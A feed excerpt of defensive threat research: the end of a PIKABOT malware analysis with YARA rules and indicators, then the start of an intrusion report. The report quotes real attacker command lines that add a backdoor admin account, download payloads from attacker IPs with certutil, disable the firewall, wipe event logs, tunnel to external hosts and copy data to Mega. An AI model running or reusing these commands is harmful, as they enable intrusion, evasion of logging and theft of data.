<p>As mentioned previously, there are still some in-line RC4 functions used to decrypt strings. In previous versions, the core used base64 encoding as an additional step in combination with using AES and RC4 to obscure the strings; in this core version, we haven’t seen base64 encoding or AES used for string decryption.</p>
<p>Here’s an instance of a remaining in-line RC4 function used to decrypt the hardcoded mutex. In this version, PIKABOT continues its trademark use of legitimate strings as the RC4 key to decrypt data.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image12.png" alt="In-line RC4" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image16.png" alt="String decryption using RC4 with benign strings" /></p>
<p>In this new version, PIKABOT includes a different implementation for string obfuscation by using stack strings and placing individual characters into an array in a randomized order. Below is an example using <code>netapi32.dll</code>:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image22.png" alt="Stack string placement using netapi32.dll" /></p>
<h3>Anti-debugging</h3>
<p>In terms of anti-debugging in this version, PIKABOT checks the <code>BeingDebuggedFlag</code> in the PEB along with using <code>CheckRemoteDebuggerPresent</code>. In our sample, a hardcoded value (<code>0x2500</code>) is returned if a debugger is attached. These checks unfortunately are not in a single place, but scattered in different places throughout the binary, for example right before network requests are made.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image9.png" alt="Debugger check" /></p>
<h3>Execution</h3>
<p>Regarding execution and overall behaviors, PIKABOT’s core closely follows the execution flow of older versions. Upon execution, PIKABOT parses the PEB and uses API hashing to resolve needed libraries at runtime. Next, it validates the victim machine by verifying the language identifier using <code>GetUserDefaultLangID</code>. If the <code>LangID</code> is set to Russian (<code>0x419</code>) or Ukranian (<code>0x422</code>), the malware will immediately stop its execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image26.png" alt="Language check" /></p>
<p>After the language check, PIKABOT creates a mutex to prevent reinfection on the same machine. Our sample used the following mutex: <code>{6F70D3AF-34EF-433C-A803-E83654F6FD7C}</code></p>
<p>Next, the malware will generate a UUID from the victim machine using the system volume number in combination with the hostname and username. PIKABOT will then generate a unique RC4 key seeded by <code>RtlRandomEx</code> and then place the key into the config structure to be used later during its network communications.</p>
<h3>Initial Collection</h3>
<p>The next phase involves collecting victim machine information and placing the data into a custom structure that will then be encrypted and sent out after the initial check-in request. The following actions are used to fingerprint and identify the victim and their network:</p>
<ul>
<li>Retrieves the name of the user associated with the PIKABOT thread</li>
<li>Retrieves the computer name</li>
<li>Gets processor information</li>
<li>Grabs display device information using <code>EnumDisplayDevicesW</code></li>
<li>Retrieves domain controller information using <code>DsGetDcNameW</code></li>
<li>Collects current usage around physical and virtual memory using <code>GlobalMemoryStatusEx</code></li>
<li>Gets the window dimensions using <code>GetWindowRect</code> used to identify sandbox environments</li>
<li>Retrieves Windows OS product information using <code>RtlGetVersion</code></li>
<li>Uses <code>CreateToolhelp32Snapshot</code> to retrieve process information</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image23.png" alt="Victim information retrieved such as username, computer name, etc" /></p>
<h3>Config</h3>
<p>One strange development decision in this new version is around the malware configuration. At runtime, the configuration is in plaintext and located in one spot in memory. This does eventually get erased in memory. We believe this will only temporarily last as previous versions protected the configuration and it has become a standard expectation when dealing with prevalent malware families.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image4.png" alt="Configuration in plaintext at core runtime" /></p>
<h3>Network</h3>
<p>PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc) using User-Agent <code>Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)</code>. The build number of the PIKABOT core module is concatenated together from the config and can be found being passed within the encrypted network requests, the version we analyzed is labeled as <code>1.8.32-beta</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image10.png" alt="New PIKABOT version on the stack" /></p>
<p>On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4. The RC4 key is sent in this initial packet at offset (<code>0x10</code>). As mentioned previously, PIKABOT no longer uses AES in its network communications.</p>
<pre><code>POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
</code></pre>
<p><em>PIKABOT initial check-in request</em></p>
<p>For each outbound network request, PIKABOT randomly chooses one of the following URI’s:</p>
<pre><code>/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
</code></pre>
<p><em>List of URI’s used in PIKABOT C2 requests</em></p>
<p>Unlike previous versions by which victim data was placed in a structured format using JSON, the data within these requests are raw bytes. The first 16 bytes are used to pass specific config information (bot command ID, byte shift, etc). The next 32-bytes embed the RC4 key for the session where then the encrypted data is followed in the request.</p>
<p>There is one additional transformation where the developers added a random shift of bytes that occurs at runtime. This number (<code>0x18</code>) at offset (<code>0xF</code>) in the example request below represents the number of bytes to shift from the end of the encrypted data to the start of the encrypted data. In our example, to successfully decrypt the data, the last 18 bytes would need to be placed in front of bytes (<code>0xDA 0x9E</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image20.png" alt="Hex view of network request on initial check-in" /></p>
<h3>Bot Functionality</h3>
<p>In terms of the core bot functionality, it is similar to previous versions:  executing commands, performing discovery, as well as process injection capabilities. From our perspective, it still seems very much like a work in progress. One command ID (<code>0x982</code>) is an empty function, in another case, there are three unique command ID’s pointed to the same function. These indicate that this software is not quite complete.</p>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1FED</td>
<td>Beacon timeout</td>
</tr>
<tr>
<td>0x1A5A</td>
<td>Exits the PIKABOT process</td>
</tr>
<tr>
<td>0x2672</td>
<td>Includes obfuscation, but appears to not do anything meaningful</td>
</tr>
<tr>
<td>0x246F</td>
<td>Creates file on disk and modifies registry tied to configuration</td>
</tr>
<tr>
<td>0xACB</td>
<td>Command-line execution with output</td>
</tr>
<tr>
<td>0x36C</td>
<td>PE inject in a remote process</td>
</tr>
<tr>
<td>0x792</td>
<td>Shellcode inject in a remote process</td>
</tr>
<tr>
<td>0x359, 0x3A6, 0x240</td>
<td>Command-line execution similar to 0xACB, uses custom error code (0x1B3)</td>
</tr>
<tr>
<td>0x985</td>
<td>Process enumeration, similar to initial victim collection enumeration</td>
</tr>
<tr>
<td>0x982</td>
<td>Empty function</td>
</tr>
</tbody>
</table>
<h3>Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the <em>why</em> of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/">Encrypted Channel</a></li>
</ul>
<h2>Detecting malware</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_with_unusual_mitigation.toml">Process Creation with Unusual Mitigation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">Windows.Trojan.PikaBot</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">PIKABOT</a>:</p>
<pre><code>rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-02-15&quot;
        last_modified = &quot;2024-02-15&quot;
        license = &quot;Elastic License v2&quot;
        description = &quot;Related to PIKABOT core&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.PIKABOT&quot;

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-02-15&quot;
        last_modified = &quot;2024-02-15&quot;
        license = &quot;Elastic License v2&quot;
        description = &quot;Related to PIKABOT loader&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.PIKABOT&quot;

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/pikabot">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b</code></td>
<td>SHA-256</td>
<td><code>Opc.zip</code></td>
<td>Zip archive holding obfuscated Javascript</td>
</tr>
<tr>
<td><code>ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d</code></td>
<td>SHA-256</td>
<td><code>grepWinNP3.exe</code></td>
<td>PIKABOT loader</td>
</tr>
<tr>
<td><code>139.84.237[.]229:2967</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>85.239.243[.]155:5000</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>104.129.55[.]104:2223</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>37.60.242[.]85:9785</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>95.179.191[.]137:5938</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>65.20.66[.]218:5938</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>158.220.80[.]157:9785</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>104.129.55[.]103:2224</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>158.220.80[.]167:2967</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>entrevientos.com[.]ar</code></td>
<td>domain</td>
<td></td>
<td>Hosting infra for zip archive</td>
</tr>
<tr>
<td><code>gloverstech[.]com</code></td>
<td>domain</td>
<td></td>
<td>Hosting infra for PIKABOT loader</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT</a></li>
<li><a href="https://x.com/Cryptolaemus1/status/1755655639370514595?s=20">https://x.com/Cryptolaemus1/status/1755655639370514595?s=20</a></li>
</ul>
<h2>Appendix</h2>
<pre><code>Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe
</code></pre>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/photo-edited-02.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Unmasking a Financial Services Intrusion: REF0657]]></title>
            <link>https://www.elastic.co/kr/security-labs/unmasking-financial-services-intrusion-ref0657</link>
            <guid>unmasking-financial-services-intrusion-ref0657</guid>
            <pubDate>Wed, 31 Jan 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs details an intrusion leveraging open-source tooling and different post-exploitation techniques targeting the financial services industry in South Asia.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>In December of 2023, Elastic Security Labs detected a smash-and-grab style intrusion directed at a financial services organization in South Asia. Throughout the breach, a diverse set of open-source tools were employed within the victim's environment, some of which we encountered for the first time. The threat group engaged in different post-compromise activities: from discovery/enumeration to utilizing the victim's internal enterprise software against them and eventually leveraging different tunnelers and side-loading techniques to execute Cobalt Strike. In addition, the adversary used the file hosting service Mega to exfiltrate data from the network.</p>
<p>By disclosing the details of this intrusion set (REF0657) and the various tactics, techniques, and procedures (TTPs), we hope to assist fellow defenders and organizations in recognizing and monitoring this type of activity.</p>
<h3>Key takeaways</h3>
<ul>
<li>REF0657 targeted financial services in South Asia</li>
<li>This group leveraged a broad range of post-compromise behaviors, including backdoor access using Microsoft SQL Server, dumping credentials, wiping event logs, and exfiltrating data using MEGA CMD</li>
<li>The activity included an assortment of network tunnelers and proxy tools as well as Cobalt Strike and ties to infrastructure using the C2 framework, Supershell</li>
</ul>
<h2>Campaign analysis</h2>
<p>Our team identified the initial enumeration happening in a customer environment on December 17, 2023. While we didn't have visibility around the root cause of the infection, we continued to monitor the environment. Over the next several weeks, we discovered seven different hosts, mainly servers, exhibiting a large swath of activity, including:</p>
<ul>
<li>Discovery/enumeration</li>
<li>Downloading additional tools/components</li>
<li>Renaming and staging tools in legitimate folder locations in the environment</li>
<li>Dumping credentials from the registry and adding users to machines</li>
<li>Modifying the environment to enable lateral movement and persistence</li>
<li>Executing proxy tunnelers and shellcode to maintain access into the environment</li>
<li>Compressing and exfiltrating data using cloud services provider Mega</li>
<li>Wiping event logs on multiple machines</li>
</ul>
<h2>Execution Flow / Timeline</h2>
<p>A significant portion of the activity observed by our team came through command-line execution abusing Microsoft SQL Server (<code>sqlservr.exe</code>). While we couldn’t pinpoint the root cause, we have reason to believe the attacker gained access to the environment through this remotely accessible server and then started executing commands and running programs using the MSSQL’s stored procedure (<code>xp_cmdshell</code>). This initial endpoint served as the beachhead of the attack where all activity seemed to originate from here.</p>
<h3>Discovery/Enumeration/Staging</h3>
<p>The threat actor used several standard Windows utilities for initial discovery and enumeration. The following graphic shows the different commands spawned from the parent process (<code>sqlservr.exe</code>):</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image9.png" alt="Observed command-lines associated with discovery" title="Observed command-lines associated with discovery" /></p>
<p>Oftentimes, the attacker checked to verify their payloads were running, reviewed network connections on victim machines, and performed directory listings to check on their different files.</p>
<p>After initial access was gained, the actor tried several methods for downloading additional payloads and tooling. The adversary started to use <code>certutil.exe</code> and then moved to <code>bitsadmin.exe</code>, PowerShell’s <code>DownloadFile()</code> method, and eventually back to <code>certutil.exe</code>. These different tools interacted with IP addresses (<code>149.104.23[.]17</code> and <code>206.237.3[.]150</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image10.png" alt="Observed command-lines associated with staging" title="Observed command-lines associated with staging" /></p>
<h3>Lateral Movement + Persistence</h3>
<p>As the actors moved in the environment, they leveraged remote SMB and WMI to create a local administrator account named &quot;helpdesk&quot; on each machine. In some cases, they set up a randomly named Windows service (<code>qLVAMxSGzP</code>) as a persistence mechanism. This service would execute a temporary batch file with commands to add a local user and insert this user into the local administrator group. After execution, the file would then be deleted.</p>
<pre><code>%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add &amp;&amp; \ 
net localgroup administrators helpdesk /add \ 
^&gt; \\127.0.0.1\C$\FOUGTZ 2^&gt;^&amp;1 &gt; %TEMP%\VOruiL.bat &amp; \ 
%COMSPEC% /Q /c %TEMP%\VOruiL.bat &amp; %COMSPEC% /Q /c del %TEMP%\VOruiL.bat
</code></pre>
<h3>Execution</h3>
<p>The adversary moved to Cobalt Strike for C2 and further execution. This time, they used a legitimately signed version of Trend Micro’s Deep Security Monitor (<code>ds_monitor.exe</code>). This was used to load Cobalt Strike by side-loading a malicious DLL (<code>msvcp140.dll</code>). We observed the download of the DLL from a <code>certutil.exe</code> execution, and then we confirmed this behavior via call stack telemetry.</p>
<pre><code>&quot;C:\Windows\system32\cmd.exe&quot; /c certutil -urlcache -split -f \ 
ht&quot;&quot;&quot;&quot;tp://206.237.3[.]150:443/1.txt \ 
C:\users\public\downloads\msvcp140.dll
</code></pre>
<p>The screenshot below shows that the actor placed the TrendMicro application inside a directory labeled McAfee in ProgramData. We can see the malicious DLL being loaded from the same directory by checking the call stack.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image2.png" alt="Malicious DLL side-loading of msvcp140.dll" title="Malicious DLL side-loading of msvcp140.dll" /></p>
<p>Shortly after, Run Key persistence was added to execute (<code>ds_monitor.exe</code>) on system startup.</p>
<pre><code>reg  add &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&quot; /v \ 
TrendMicro /t REG_SZ /d \ 
&quot;C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe&quot; /f /reg:64
</code></pre>
<p>An analysis on <code>msvcp140.dll</code> reveals that the threat actor tampered with the DllEntryPoint of the legit Windows DLL by substituting it with modified code sourced from a public <a href="https://github.com/ShadowMccc/MemoryEvasion">repository</a> - this is a custom Cobalt Strike memory evasion loader.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image6.png" alt="Decompiled Sleep Obfuscation loading Cobalt Strike" title="Decompiled Sleep Obfuscation loading Cobalt Strike" /></p>
<p>While the original code retrieved the Cobalt Strike beacon from memory, the altered version loads a beacon in base64 format from a file named <code>config.ini</code> that connects to <code>msedge[.]one</code>.</p>
<h3>Dumping credentials</h3>
<p>One of the main methods observed for gathering credentials was dumping the Security Account Manager (SAM) registry hive on different servers.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image11.png" alt="Events showing SAM registry dump" title="Events showing SAM registry dump" /></p>
<h3>Network/Registry/Logging Modifications</h3>
<p>The threat actor modified several different configurations and settings to help further increase their access to the environment. One of our first observations of this behavior was <a href="https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-localsessionmanager-fdenytsconnections">enabling RDP</a> (set value to 0) through the registry at the following path (<code>HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections)</code>. Then, they disabled the Windows Firewall rules using the command:<code> NetSh Advfirewall set allprofiles state off</code>.</p>
<p>Afterward, they enabled <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn408190(v=ws.11)#restricted-admin-mode-for-remote-desktop-connection">Restricted Admin</a> mode through a registry modification, this allowed the adversary to conduct pass-the-hash style attacks against Remote Desktop Protocol (RDP).</p>
<pre><code>cmd.exe /Q /c REG ADD &quot;HKLM\System\CurrentControlSet\Control\Lsa&quot; \ 
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \ 
/f 1&gt; \\127.0.0.1\C$\Windows\Temp\RExePi 2&gt;&amp;1
</code></pre>
<p>In addition to these changes, the attacker also wiped the Windows event logs for System and Security notifications using the Windows Event Utility, <code>wevtutil.exe</code>:</p>
<pre><code>cmd.exe /Q /c wevtutil.exe cl System 1&gt; \ 
\\127.0.0.1\C$\Windows\Temp\ksASGt 2&gt;&amp;1

cmd.exe /Q /c wevtutil.exe cl Security 1&gt; \ 
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2&gt;&amp;1
</code></pre>
<h3>Tunneling/Proxy Tools</h3>
<p>After a day of initial access, the adversary generated several shellcode injection alerts using <code>AppLaunch.exe</code> (a binary that manages and executes applications built with Microsoft's .NET Framework) and outputting the results to a file called <code>1.txt</code>. The command line argument associated with this alert is as follows: <code>c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 &gt;&gt; 1.txt</code></p>
<p>After examining the injected code, we identified the shellcode as a Golang binary known as <code>iox</code>, which can be compiled from the following publicly available <a href="https://github.com/EddieIvan01/iox">repository</a>. This tool is designed for port forwarding and proxying with additional features such as traffic encryption. Based on the observed command line, the attacker established a proxy connection to <code>206.237.0[.]49</code> on port <code>12355</code>.</p>
<p>Intended or not, the proxy utility was launched by several different legitimate processes: <code>lsass.exe</code>, <code>vmtoolsd.exe</code>, and <code>mctray.exe</code>. In this case, the threat actor side-loaded a common malicious unsigned DLL (<code>mscoree.dll</code>) located in the <code>C:\programdata\</code> directory.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image5.png" alt="Malicious DLL side-loading of mscoree.dll" title="Malicious DLL side-loading of mscoree.dll" /></p>
<p>The actor employed another proxy known as <a href="https://github.com/Mob2003/rakshasa">Rakshasa</a>, downloaded directly from the tool's official GitHub page using the <code>certutil</code> command. It was stored in <code>c:\users\public\downloads\ra.exe</code>, and then executed with the following command:
<code>C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80</code>.</p>
<p>This command creates a proxy tunnel to the threat actor infrastructure, connecting to the IP address <code>149.104.23.176</code> on port <code>80</code>. If that wasn’t enough, the actor started to send and retrieve data from the network through ICMP tunneling. For example, when the actor executed the tasklist command, the output was saved to <code>C:\programdata\re.txt</code>, and exfiltrated through ICMP using PowerShell.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image8.png" alt="ICMP tunneling script using PowerShell" title="ICMP tunneling script using PowerShell" /></p>
<h3>Exfiltration</h3>
<p>One of the more noteworthy parts of this intrusion was centered around the adversary downloading <a href="https://mega.io/cmd">MEGA Cmd</a>, a command-line utility that works with the Mega file hosting service. While still leveraging MSSQL, they downloaded this program, renaming it to <code>ms_edge.exe</code>.</p>
<pre><code>&quot;C:\Windows\system32\cmd.exe&quot; /c certutil -urlcache -split -f \ 
ht&quot;&quot;&quot;&quot;tp://206.237.3.150:443/megacmd.exe \ 
C:\users\public\downloads\ms_edge.exe
</code></pre>
<p>Shortly after, we observed this utility being executed with an argument to a configuration file (called <code>tmp</code>) and a compressed file stored with a backup extension (<code>.bak</code>) being used in conjunction with Mega.</p>
<pre><code>C:\users\public\downloads\ms_edge.exe  --config \ 
C:\users\public\downloads\tmp copy \ 
REDACTED_FILENAME.bak mega_temp:
</code></pre>
<h3>Infrastructure</h3>
<p>Throughout this investigation, the threat group used several servers to host their payloads or forward network traffic. The Elastic Security Labs team discovered two web servers with open directories hosting files publicly reachable on:</p>
<ul>
<li><code>206.237.3[.]150</code></li>
<li><code>206.237.0[.]49</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image3.png" alt="Open directory at 206.237.3[.]150" title="Open directory at 206.237.3[.]150" /></p>
<p>In addition, our team observed <a href="https://github.com/tdragon6/Supershell/tree/main">Supershell</a> panel, a Chinese-based C2 platform running on <code>206.237.[0].49:8888</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image1.png" alt="Supershell Panel on 206.237.0[.]49" title="Supershell Panel on 206.237.0[.]49" /></p>
<p>We validated an earlier finding in the previous section when we found a configuration file (referred to as <code>tmp</code> in the Exfiltration section) used for automation with the Mega platform containing credentials used by the adversary. As well, there was a variety of web shell files and scripts originating from the following public repositories:</p>
<ul>
<li><a href="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment">https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment</a></li>
<li><a href="https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx">https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx</a></li>
<li><a href="https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx">https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx</a></li>
</ul>
<p>Furthermore, within these directories, we identified a few interesting binaries:</p>
<p><strong>cloud_init</strong></p>
<p>One of the files (<code>cloud_init</code>) is a Golang ELF binary packed with UPX. After inspection, it was determined that it was compiled from the <a href="https://github.com/ehang-io/nps/tree/master">NPS repository</a>, another intranet proxy server compatible with most common protocols. The threat actor altered the code to encrypt the strings during compilation. The decryption process uses separate byte arrays where the bytes of one array are combined with the bytes of the other array, employing operations such as addition, XOR, or subtraction for the decryption.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image4.png" alt="NPS string obfuscation example" title="NPS string obfuscation example" /></p>
<p><strong>MSASN1.dll</strong></p>
<p>After review, this DLL matched the same functionality/code as the previously discussed file (<code>msvcp140.dll</code>).</p>
<h3>REF0657 through MITRE ATT&amp;CK</h3>
